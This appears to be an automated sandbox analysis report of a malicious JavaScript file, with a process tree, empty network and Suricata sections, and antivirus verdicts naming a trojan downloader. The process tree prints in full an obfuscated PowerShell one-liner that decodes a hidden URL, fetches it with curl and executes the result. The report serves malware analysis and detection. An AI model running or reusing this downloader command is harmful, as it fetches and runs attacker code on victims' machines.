CNOZ1237_3680420.js| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6401 | Nov. 1, 2023, 9:42 a.m. | Nov. 1, 2023, 9:44 a.m. |
-
wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\CNOZ1237_3680420.js
2552 -
conhost.exe conhost --headless powershell $qvmkxbdtleof=(4161,4146,4163,4167,4164,4168,4147,4158,4092,4162,4157,4158,4093,4095,4092,4158,4150,4158,4109,4150,4143,4161,4150,4107);$dosvorv=('richard','net-secure','get-container', 'display-addin');foreach($rob9e in $qvmkxbdtleof){$awi=$rob9e;$ftjxwlmqpdak=$ftjxwlmqpdak+[char]($awi-4046);$vizit=$ftjxwlmqpdak; $lira=$vizit};$nboukqlcagti[2]=$lira;$jwfblk='rl';$five=1;new-alias zwert cu$jwfblk;.$([char](9992-9887)+'ex')(zwert -useb $lira)
2676
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
| IP Address | Status | Action |
|---|---|---|
| No hosts contacted. | ||
Suricata Alerts
No Suricata Alerts
Suricata TLS
No Suricata TLS
| Symantec | Scr.Malcode!gen105 |
| Kaspersky | HEUR:Trojan-Downloader.Script.Generic |